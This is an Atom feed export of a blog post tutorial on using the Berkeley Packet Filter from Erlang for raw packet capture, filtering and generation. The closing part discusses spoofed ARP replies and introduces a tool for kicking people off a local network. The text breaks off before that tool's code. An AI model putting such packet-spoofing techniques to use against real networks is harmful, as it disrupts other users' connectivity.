<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-8577871288924093307</id><updated>2012-01-10T02:23:24.361-05:00</updated><category term='arduino'/><category term='debug'/><category term='test'/><category term='android'/><category term='DNS'/><category term='sods'/><category term='erlang'/><category term='REST'/><category term='C'/><category term='security'/><category term='spoofed'/><category term='nif'/><category term='buffer overflow'/><category term='fun with raw sockets'/><category term='procket'/><category term='epcap'/><title type='text'>[ List || List &lt;- "Incomprehension" ].</title><subtitle type='html'>about() -&amp;gt; [ world ! lists:reverse(N) || N &amp;lt;- [[97,119,107,119,97,114,100], [98,108,111,103], [105,115], [97,119,107,119,97,114,100]] ].</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://blog.listincomprehension.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://blog.listincomprehension.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Michael Santos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>35</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8577871288924093307.post-6449155025369592946</id><published>2011-04-23T21:47:00.004-04:00</published><updated>2011-08-23T10:28:36.135-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='fun with raw sockets'/><category scheme='http://www.blogger.com/atom/ns#' term='erlang'/><category scheme='http://www.blogger.com/atom/ns#' term='procket'/><category scheme='http://www.blogger.com/atom/ns#' term='nif'/><title type='text'>BPF and Erlang</title><content type='html'>&lt;h1&gt;An Erlang Interface to the Berkeley Packet Filter&lt;/h1&gt;&lt;p&gt;The &lt;a href="http://developer.apple.com/library/mac/#documentation/Darwin/Reference/ManPages/man4/bpf.4.html" title="man page"&gt;man page&lt;/a&gt; about &lt;a href="http://en.wikipedia.org/wiki/Berkeley_Packet_Filter" title="bpf"&gt;bpf&lt;/a&gt; says:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;The Berkeley Packet Filter provides a raw interface to data link layers&lt;br /&gt;in a protocol independent fashion.  All packets on the network, even&lt;br /&gt;those destined for other hosts, are accessible through this mechanism.&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;On BSD systems, bpf can be used for capturing and generating raw networkframes. We can use bpf to send and receive network packets from Erlangcode in a similar way to using the &lt;a href="http://blog.listincomprehension.com/2010/05/raw-socket-programming-in-erlang.html" title="PF_PACKET socket interface"&gt;PF_PACKET socket interface&lt;/a&gt; on Linux.&lt;/p&gt;&lt;p&gt;All of the code presented here was run on Mac OS X (SnowLeopard). Hopefully the code is portable to all BSD operating systems. Ifit isn't, let me know in the comments or &lt;a href="https://github.com/msantos" title="Look here for my email address"&gt;email&lt;/a&gt; me.&lt;/p&gt;&lt;h2&gt;Pre-Requisites for Running the Code Examples&lt;/h2&gt;&lt;p&gt;For the Erlang examples below, you'll need a fairly recent version ofErlang and a few libraries. You can download the &lt;a href="http://www.erlang.org/download.html" title="Erlang source code"&gt;Erlang source code&lt;/a&gt;or check it out from github:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;git clone git://github.com/erlang/otp.git&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href="https://github.com/msantos/procket" title="procket"&gt;procket&lt;/a&gt; is an &lt;a href="http://www.erlang.org/doc/man/erl_nif.html" title="NIF"&gt;NIF&lt;/a&gt; used to extend the Erlang runtime to make the varioussystem calls.  You can check it out here:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;git clone git://github.com/msantos/procket.git&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;See the README, there is a bit of work involving setting up sudo to runa helper app.&lt;/p&gt;&lt;p&gt;Finally, the examples use another small library (&lt;a href="https://github.com/msantos/pkt" title="pkt"&gt;pkt&lt;/a&gt;) to parse thepackets using Erlang binaries and convert packets from Erlang recordsto binaries.  It's available here:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;git clone git://github.com/msantos/pkt.git&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To compile the example Erlang modules:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;erlc -I /path/to/procket/include -I /path/to/pkt/include annoy.erl&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;The BPF C Interface&lt;/h2&gt;&lt;p&gt;The bpf character device is used to transfer raw network frames betweenuser space and the kernel. On Mac OS X, there are a fixed number ofavailable devices, each acting as a communication path for a singleprocess.&lt;/p&gt;&lt;p&gt;Using bpf works as follows:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Starting from 0, open the bpf devices. If the the open() system callreturns failure (-1) and errno is set to EBUSY, try the next characterdevice, e.g., /dev/bpf1.&lt;/p&gt;&lt;p&gt;Typical values for errno might be:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;EPERM: the process does not have permission to access the characterdevice. Either the process can temporarily be given superuserprivileges or the permissions of the character device can be modified.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Since bpf relies on the file permissions of the character device,the act of opening the device is the only operation that requiresprivileges. Other operations on the file descriptor do not requireany special privileges.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;ENOENT: the bpf device does not exist&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The open() call returns a file descriptor.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;ioctl() is used to associate the bpf device with an interface&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;ioctl() is used to retrieve the bpf buffer length&lt;/p&gt;&lt;p&gt;The bpf device maintains a fixed buffer size. For efficiency, readsperformed on the bpf device will block until either the buffer isfull or a timeout is reached (by default, infinity). As a consequence,several packets may be returned by a single read.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Set some optional attributes that affects the behaviour of the bpfdevice.&lt;/p&gt;&lt;p&gt;For example:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;BIOCSHDRCMPLT: by default, the bpf device will construct a validpacket header for the underlying datalink type. Setting the"header complete" attribute allows the user to set the packetheaders themselves.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;BIOCSEESENT: the bpf device does not return packets sent from thehost. This ioctl request can be used to change that behaviour.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;BIOCIMMEDIATE: causes reads to immediately return after a packet isreturned rather than buffering the packets&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Apply filtering rules using BPF bytecode.&lt;/p&gt;&lt;p&gt;bpf supports a set of instructions that allow the user to restrictwhich packets are returned by the device.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;See this &lt;a href="http://bastian.rieck.ru/howtos/bpf/" title="bpf howto"&gt;tutorial&lt;/a&gt; for a clear, concise example of capturing packets in C.&lt;/p&gt;&lt;p&gt;I've also put together some simple, runnable code. To compile it:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;gcc -g -Wall -o bpf bpf.c&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;script src="https://gist.github.com/939154.js?file=bpf.c"&gt;&lt;/script&gt;&lt;p&gt;To keep the example from becoming too huge, not much is done exceptprinting out the ethernet header. We'll cover more interesting ways ofusing bpf later.&lt;/p&gt;&lt;h2&gt;The Erlang BPF Interface&lt;/h2&gt;&lt;p&gt;To use bpf within Erlang, we'll need to be able to open the bpf device,perform the appropriate ioctl() operations, generate BPF filtering codeand read and write from the device.&lt;/p&gt;&lt;h3&gt;Opening the BPF Device&lt;/h3&gt;&lt;p&gt;procket uses a setuid helper executable to open the bpf character deviceand pass the file descriptor back to Erlang:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;{ok, Socket} = procket:dev("bpf").&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Or using the bpf module:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;{ok, Socket, Length} = bpf:open("en1").&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Controlling the BPF Device&lt;/h3&gt;&lt;p&gt;Once we have the file descriptor, we can set the device attributes byusing the procket:ioctl/3 NIF.&lt;/p&gt;&lt;p&gt;The bpf header file defines a number of macros for calculating thecorrect ioctl request. Porting these macros to Erlang is straightforward.&lt;/p&gt;&lt;p&gt;According the to the man page on Mac OS X, the ioctl signature isdefined as:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;int ioctl(int fildes, unsigned long request, ...);&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;An ioctl request is an unsigned long, so the size of the command willeither be 4 or 8 bytes, depending on whether the platform is 32 or 64-bit.However, the ioctl macros compute the request with the assumption thatthe command is a word (or 4 bytes): the lower half of the word holdsthe command and the top half has the length and the direction of thecommand.&lt;/p&gt;&lt;p&gt;(The number after the colon represents the number of bits in the field.)&lt;/p&gt;&lt;ol class="Message"&gt;&lt;li class="Message"&gt;Copy argument into kernel:1&lt;li class="Message"&gt;Copy argument from kernel:1&lt;li class="Message"&gt;No arguments:1&lt;li class="Message"&gt;Parameter length:13&lt;li class="Message"&gt;Command group:8&lt;li class="Message"&gt;Command:8&lt;/ol&gt;&lt;p&gt;The fields in order are:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;IN: if set, the argument (the 3rd argument to ioctl) is read from theuser space buffer&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;OUT: if set, the argument is written to the user space buffer&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;A command that is IN/OUT will have the contents of the buffer read bythe kernel and written back.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;VOID: no arguments are required by the ioctl request&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Length: the size of the command in bytes&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Group: the command group acts as namespace for organizing the ioctl requests&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Command: 1 byte is reserved for the actual command&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;For example, the BIOCSHDRCMPLT macro in C is:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;#define IOCPARM_MASK    0x1fff      /* parameter length, at most 13 bits */&lt;br /&gt;#define _IOC(inout,group,num,len) \&lt;br /&gt;    (inout | ((len &amp;amp; IOCPARM_MASK) &amp;lt;&amp;lt; 16) | ((group) &amp;lt;&amp;lt; 8) | (num))&lt;br /&gt;#define IOC_IN      (__uint32_t)0x80000000&lt;br /&gt;#define _IOW(g,n,t) _IOC(IOC_IN,    (g), (n), sizeof(t))&lt;br /&gt;&lt;br /&gt;#define BIOCSHDRCMPLT   _IOW('B',117, u_int)&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The corresponding macro defined in Erlang:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;-define(SIZEOF_U_INT, 4).&lt;br /&gt;-define(IOCPARM_MASK, 16#1fff).&lt;br /&gt;-define(IOC_INOUT, ?IOC_IN bor ?IOC_OUT).&lt;br /&gt;&lt;br /&gt;-define(BIOCSHDRCMPLT, bpf:iow($B, 117, ?SIZEOF_U_INT)).&lt;br /&gt;&lt;br /&gt;ioc(Inout, Group, Num, Len) -&amp;gt;&lt;br /&gt;    Inout bor ((Len band ?IOCPARM_MASK) bsl 16) bor (Group bsl 8) bor Num.&lt;br /&gt;&lt;br /&gt;iow(G,N,T) -&amp;gt;&lt;br /&gt;    ioc(?IOC_IN, G, N, T).&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To set the "header complete" mode from within Erlang:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;procket:ioctl(Socket, ?BIOCSHDRCMPLT, &amp;lt;&amp;lt;1:32/native&amp;gt;&amp;gt;).&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Or using the bpf module:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;bpf:ctl(Sockt, hdrcmplt, true).&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;BPF Filtering&lt;/h3&gt;&lt;p&gt;bpf has a bytecode language to filter out unwanted packets. The bytecodeis generated by a set of macros in the bpf header file. For conveniencein porting examples to Erlang, I defined macros wrapping the Erlangfunctions.&lt;/p&gt;&lt;p&gt;A BPF filtering program consists of an 8 byte instruction:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;struct bpf_insn {&lt;br /&gt;    u_short code;&lt;br /&gt;    u_char  jt;&lt;br /&gt;    u_char  jf;&lt;br /&gt;    bpf_u_int32 k;&lt;br /&gt;};&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;&lt;li&gt;code: 2 bytes&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The opcodes are a set of instructions for moving within the packet,testing values and control flow. The opcodes are OR'ed together.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;jt: 1 byte&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;em&gt;jump true&lt;/em&gt;: if the operation evaluates as true (non-0), jump this manyinstructions. Instructions are numbered from 0 (the statement followingthe test is instruction 0).&lt;/p&gt;&lt;ul&gt;&lt;li&gt;jf: 1 byte&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;em&gt;jump false&lt;/em&gt;: if the operation evaluates as false (0), jump this manyinstructions. Instructions use a 0 offset, starting with the followinginstruction.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;k: 4 bytes (the man page incorrectly defines this field as a u_long)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;A value whose usage depends on the opcode.&lt;/p&gt;&lt;h4&gt;An Example in C&lt;/h4&gt;&lt;p&gt;I'll illustrate how the filters work by using an example from the manpage. This example filters out all packets except reverse proxy requests:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;struct bpf_insn insns[] = {&lt;br /&gt;    BPF_STMT(BPF_LD+BPF_H+BPF_ABS, 12),&lt;br /&gt;    BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ETHERTYPE_REVARP, 0, 3),&lt;br /&gt;    BPF_STMT(BPF_LD+BPF_H+BPF_ABS, 20),&lt;br /&gt;    BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, REVARP_REQUEST, 0, 1),&lt;br /&gt;    BPF_STMT(BPF_RET+BPF_K, sizeof(struct ether_arp) +&lt;br /&gt;        sizeof(struct ether_header)),&lt;br /&gt;    BPF_STMT(BPF_RET+BPF_K, 0),&lt;br /&gt;};&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;BPF_STMT(BPF_LD+BPF_H+BPF_ABS, 12)&lt;/p&gt;&lt;p&gt;The BPF_STMT macro takes an opcode and a k value as arguments.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;BPF_LD: load value (move to offset)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;BPF_H: load a half word value (2 bytes)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;BPF_ABS: use an absolute offset from the beginning of the packet&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;12: move 12 bytes into the ethernet frame&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;An ethernet frame looks like (the numbers are bytes):&lt;/p&gt;&lt;ol class="Message"&gt;&lt;li class="Message"&gt;Destination MAC Address:6&lt;li class="Message"&gt;Source MAC Address:6&lt;li class="Message"&gt;Type:2&lt;/ol&gt;&lt;p&gt;A 12 byte offset leaves the program at the ethernet type.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ETHERTYPE_REVARP, 0, 3)&lt;/p&gt;&lt;p&gt;The BPF_JUMP macro arguments are: opcode, k, jt, jf&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;BPF_JMP: A branching operation, depending on whether the test evaluatesas true or not&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;BPF_JEQ: the equality of the value at this offset (defined in the previousinstruction as a half-word) is tested against the value held in the k field.&lt;/p&gt;&lt;p&gt;If the value is equal to ETHERTYPE_REVARP (0x8035), the packet isa reverse ARP packet and control drops to the next statement. Ifthe statement is false (for example, it is an IP packet), controljumps to the final statement:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ETHERTYPE_REVARP, 0, 3),&lt;br /&gt;0: BPF_STMT(BPF_LD+BPF_H+BPF_ABS, 20),&lt;br /&gt;1: BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, REVARP_REQUEST, 0, 1),&lt;br /&gt;2: BPF_STMT(BPF_RET+BPF_K, sizeof(struct ether_arp) +&lt;br /&gt;    sizeof(struct ether_header)),&lt;br /&gt;3: BPF_STMT(BPF_RET+BPF_K, 0),&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;BPF_STMT(BPF_LD+BPF_H+BPF_ABS, 20)&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The packet is a reverse arp packet. Move to offset 20. A reverse ARPpacket looks like (numbers are bytes):&lt;/p&gt;&lt;ol class="Message"&gt;&lt;li class="Message"&gt;Hardware Type:2&lt;li class="Message"&gt;Protocol Type:2&lt;li class="Message"&gt;Hardware Length:1&lt;li class="Message"&gt;Protocol Length:1&lt;li class="Message"&gt;Operation:2&lt;li class="Message"&gt;Sending Hardware Address:6&lt;li class="Message"&gt;Sending IP Address:4&lt;li class="Message"&gt;Target Hardware Address:6&lt;li class="Message"&gt;Target IP Address:4&lt;/ol&gt;&lt;p&gt;An offset of 20 (ethernet frame = 14, so 6 bytes into the ARP packet)puts the program at the ARP operation, a 2 byte (half-word) field.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, REVARP_REQUEST, 0, 1)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;If the value of the offset is equal to REVARP_REQUEST (3) move to thenext instruction.&lt;/p&gt;&lt;p&gt;Otherwise, jump 1 instruction to the final return statement:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;    BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, REVARP_REQUEST, 0, 1),&lt;br /&gt;    0: BPF_STMT(BPF_RET+BPF_K, sizeof(struct ether_arp) +&lt;br /&gt;        sizeof(struct ether_header)),&lt;br /&gt;    1: BPF_STMT(BPF_RET+BPF_K, 0),&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;&lt;li&gt;BPF_STMT(BPF_RET+BPF_K, sizeof(struct ether_arp) + sizeof(struct ether_header))&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;BPF_RET: return the value in the k field. "k" number of bytes of thepacket will be returned to the bpf device.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;BPF_STMT(BPF_RET+BPF_K, 0)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;0 bytes is returned to the bpf device. The packet is dropped.&lt;/p&gt;&lt;h4&gt;An Example in Erlang&lt;/h4&gt;&lt;p&gt;Here is another example from the bpf man page: sniffing fingerrequests. Yes, the bpf man page appears to have been written in a longago age, when reverse ARP and finger requests roamed the networks.&lt;/p&gt;&lt;p&gt;First the C version:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;struct bpf_insn insns[] = {&lt;br /&gt;    BPF_STMT(BPF_LD+BPF_H+BPF_ABS, 12),&lt;br /&gt;    BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ETHERTYPE_IP, 0, 10),&lt;br /&gt;    BPF_STMT(BPF_LD+BPF_B+BPF_ABS, 23),&lt;br /&gt;    BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, IPPROTO_TCP, 0, 8),&lt;br /&gt;    BPF_STMT(BPF_LD+BPF_H+BPF_ABS, 20),&lt;br /&gt;    BPF_JUMP(BPF_JMP+BPF_JSET+BPF_K, 0x1fff, 6, 0),&lt;br /&gt;    BPF_STMT(BPF_LDX+BPF_B+BPF_MSH, 14),&lt;br /&gt;    BPF_STMT(BPF_LD+BPF_H+BPF_IND, 14),&lt;br /&gt;    BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, 79, 2, 0),&lt;br /&gt;    BPF_STMT(BPF_LD+BPF_H+BPF_IND, 16),&lt;br /&gt;    BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, 79, 0, 1),&lt;br /&gt;    BPF_STMT(BPF_RET+BPF_K, (u_int)-1),&lt;br /&gt;    BPF_STMT(BPF_RET+BPF_K, 0),&lt;br /&gt;};&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now the Erlang version (with comments):&lt;/p&gt;&lt;pre&gt;&lt;code&gt;-include("bpf.hrl").&lt;br /&gt;&lt;br /&gt;-define(ETHERTYPE_IP, 16#0800).&lt;br /&gt;-define(IPPROTO_TCP, 6).&lt;br /&gt;&lt;br /&gt;finger() -&amp;gt;&lt;br /&gt;    [   &lt;br /&gt;        % Ethernet&lt;br /&gt;        ?BPF_STMT(?BPF_LD+?BPF_H+?BPF_ABS, 12),                     % offset = Ethernet Type&lt;br /&gt;        ?BPF_JUMP(?BPF_JMP+?BPF_JEQ+?BPF_K, ?ETHERTYPE_IP, 0, 10),  % type = IP&lt;br /&gt;&lt;br /&gt;        % IP&lt;br /&gt;        ?BPF_STMT(?BPF_LD+?BPF_B+?BPF_ABS, 23),                     % offset = ip protocol&lt;br /&gt;        ?BPF_JUMP(?BPF_JMP+?BPF_JEQ+?BPF_K, ?IPPROTO_TCP, 0, 8),    % protocol = TCP&lt;br /&gt;&lt;br /&gt;        ?BPF_STMT(?BPF_LD+?BPF_H+?BPF_ABS, 20),                     % offset = flags, frag offset&lt;br /&gt;        ?BPF_JUMP(?BPF_JMP+?BPF_JSET+?BPF_K, 16#1fff, 6, 0),        % frag offset: mask the top 3 bits&lt;br /&gt;                                                                    %  and AND with 1's&lt;br /&gt;                                                                    %  If any non-0 value is returned from the&lt;br /&gt;                                                                    %  AND (i.e., frag offset is non-0), jump&lt;br /&gt;                                                                    %  to the end and drop the packet&lt;br /&gt;&lt;br /&gt;        ?BPF_STMT(?BPF_LDX+?BPF_B+?BPF_MSH, 14),                    % offset = IP version, IP header length&lt;br /&gt;                                                                    %  Load the header length into the index&lt;br /&gt;                                                                    %  register&lt;br /&gt;&lt;br /&gt;        % TCP&lt;br /&gt;        ?BPF_STMT(?BPF_LD+?BPF_H+?BPF_IND, 14),                     % offset = TCP source port&lt;br /&gt;                                                                    %  Move from offset 14 (start of IP packet)&lt;br /&gt;                                                                    %  plus the value held in the index register&lt;br /&gt;                                                                    %  (IP header length). Puts us at the start&lt;br /&gt;                                                                    %  of the TCP packet (at the source port)&lt;br /&gt;        ?BPF_JUMP(?BPF_JMP+?BPF_JEQ+?BPF_K, 79, 2, 0),              % source port = 79&lt;br /&gt;        ?BPF_STMT(?BPF_LD+?BPF_H+?BPF_IND, 16),                     % offset = destination port&lt;br /&gt;        ?BPF_JUMP(?BPF_JMP+?BPF_JEQ+?BPF_K, 79, 0, 1),              % destination port = 79&lt;br /&gt;        ?BPF_STMT(?BPF_RET+?BPF_K, 16#FFFFFFFF),                    % return: entire packet&lt;br /&gt;        ?BPF_STMT(?BPF_RET+?BPF_K, 0)                               % return: drop packet&lt;br /&gt;].&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Note that this filter does not check if the packet is IPv4.&lt;/p&gt;&lt;h4&gt;Loading the Filter&lt;/h4&gt;&lt;p&gt;To load the filter, another ioctl (BIOCSETF) is called. The ioctl takesa structure with a length and a pointer to the instructions:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;struct bpf_program {&lt;br /&gt;    u_int bf_len;&lt;br /&gt;    struct bpf_insn *bf_insns;&lt;br /&gt;};&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The length field is set to the number of instructions, not the sizeof the instructions. In the first example (the reverse ARP filter),the length is 6.&lt;/p&gt;&lt;p&gt;In Erlang, the filter is loaded using:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Insn = finger(),&lt;br /&gt;{ok, Code, [Res]} = procket:alloc([&lt;br /&gt;    &amp;lt;&amp;lt;(length(Insn)):4/native-unsigned-integer-unit:8&amp;gt;&amp;gt;,&lt;br /&gt;    {ptr, list_to_binary(Insn)}&lt;br /&gt;]),&lt;br /&gt;case procket:ioctl(Socket, ?BIOCSETF, Code) of&lt;br /&gt;    {ok, _} -&amp;gt;&lt;br /&gt;        procket:buf(Res);&lt;br /&gt;    Error -&amp;gt;&lt;br /&gt;        Error&lt;br /&gt;end.&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Or, more simply, using the bpf module:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;bpf:ctl(Socket, setf, finger()).&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h1&gt;BPF Filter Examples&lt;/h1&gt;&lt;script src="https://gist.github.com/939183.js?file=filt.erl"&gt;&lt;/script&gt;&lt;h1&gt;BPF Packet Capture&lt;/h1&gt;&lt;p&gt;Capturing packets is as simple as reading from the bpf device.&lt;/p&gt;&lt;p&gt;To work with file descriptors, procket needs to support theread and write system calls.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;{ok, Buf} = procket:read(FD, Length).&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The captured packet is not an ethernet frame (or a frame of whateverdatalink type you happen to be sniffing): it's a buffer prepended witha header containing information about the packet that follows.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;struct bpf_hdr {&lt;br /&gt;    struct timeval bh_tstamp;     /* time stamp */&lt;br /&gt;    u_long bh_caplen;             /* length of captured portion */&lt;br /&gt;    u_long bh_datalen;            /* original length of packet */&lt;br /&gt;    u_short bh_hdrlen;            /* length of bpf header (this struct&lt;br /&gt;                                     plus alignment padding */&lt;br /&gt;};&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;bh_timestamp differs between 32 and 64-bit platforms&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;On a 32-bit platform, struct timeval has a 4 byte sec and usec field.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;On a 64-bit platform, struct timeval has an 8 byte sec and a 4byte usec field.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;bh_caplen is the size of the captured packet that follows&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;bh_datalen is the real packet length. The packet may have been truncated.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;bh_hdrlen is the real size of the bpf_hdr structure which may bepadded due to alignment&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;To determine the start of the next packet, the bpf header provides amacro. Similarly the Erlang bpf module provides a module to calculatethe proper offset:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;?BPF_WORDALIGN(Hdrlen + Caplen).&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The bpf module will do the calculations for you:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;{ok, Length} = bpf:ctl(Socket, blen),&lt;br /&gt;{ok, Buf} = procket:read(Socket, Length),&lt;br /&gt;{bpf_buf, Time, Datalen, Packet, Rest} = bpf:buf(Socket).&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Here is a complete example of using the bpf module to dump packets. Itcan be used with the filt module, if you want to play with the fcodefiltering.  To start it:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;% en1 is the wireless device&lt;br /&gt;% rule = ( src host 10.10.10.10 or dst host 10.10.10.10 ) and ( src port 80 or dst port 80)&lt;br /&gt;dump:start("en1", filt:tcp({10,10,10,10}, 80)).&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;script src="https://gist.github.com/939215.js?file=dump.erl"&gt;&lt;/script&gt;&lt;h1&gt;BPF Packet Generation&lt;/h1&gt;&lt;p&gt;Generating crafted packets is even simpler: write the packet to the bpfdevice. The packet must be valid.&lt;/p&gt;&lt;p&gt;Be careful, crafted packets can have strange effects. On Mac OS X, I founda few odd cases that caused the network interface to go down. For example,sending out ARP replies from a spoofed MAC address or even advertising0.0.0.0 with the macbook's MAC address.&lt;/p&gt;&lt;p&gt;This example acts as a sort of peer to peer QoS, should you ever need tokick someone off of a local network. This code acts in 2 ways:&lt;/p&gt;